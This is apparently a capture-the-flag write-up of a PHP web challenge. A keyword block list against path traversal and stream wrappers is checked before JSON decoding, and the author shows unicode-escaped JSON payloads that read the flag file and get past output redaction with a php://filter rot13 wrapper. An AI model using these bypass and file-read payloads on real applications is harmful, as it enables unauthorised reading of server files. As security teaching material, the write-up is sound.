function is_valid($str) { $banword = [ // no path traversal '\.\.', // no stream wrapper '(php|file|glob|data|tp|zip|zlib|phar):', // no data exfiltration 'flag' ]; $regexp = '/' . implode('|', $banword) . '/i'; if (preg_match($regexp, $str)) { return false; } return true; } $body = file_get_contents('php://input'); $json = json_decode($body, true); if (is_valid($body) && isset($json) && isset($json['page'])) { $page = $json['page']; $content = file_get_contents($page); if (!$content || !is_valid($content)) { $content = "
not found
\n"; } } else { $content = 'invalid request
'; } What a silly WAF. The first hurdle is getting past the check for bad words which blacklists anything looking like path traversal, stream wrapper protocols or the file name "flag". After staring at the code for way too long, I noticed the check is done before processing the JSON. What this means is that if you manage to craft JSON which doesn't trigger the WAF before decoding, but does evil things after decoding, you're in. In this case it's as easy as escaping any of the problematic letters using its unicode representation: - `{"page": "./index.html "}`: Prints the index.html file - `{"page": "/flag"}`: Prints an error - `{"page": "/\u0066lag"}`: Prints a redacted flag That's right, there's another hurdle to clear: // no data exfiltration!!! $content = preg_replace('/HarekazeCTF\{.+\}/i', 'HarekazeCTF{<censored>}', $content); echo json_encode(['content' => $content]); Using the same trick we can use the `php:` stream wrapper protocol which supports filtering stdout using a PHP string function. Did you know PHP supports rot13 out of the box? - `{"page": "php\u003a//filter/read=string.rot13/resource=/\u0066lag"}`: Prints out the unredacted flag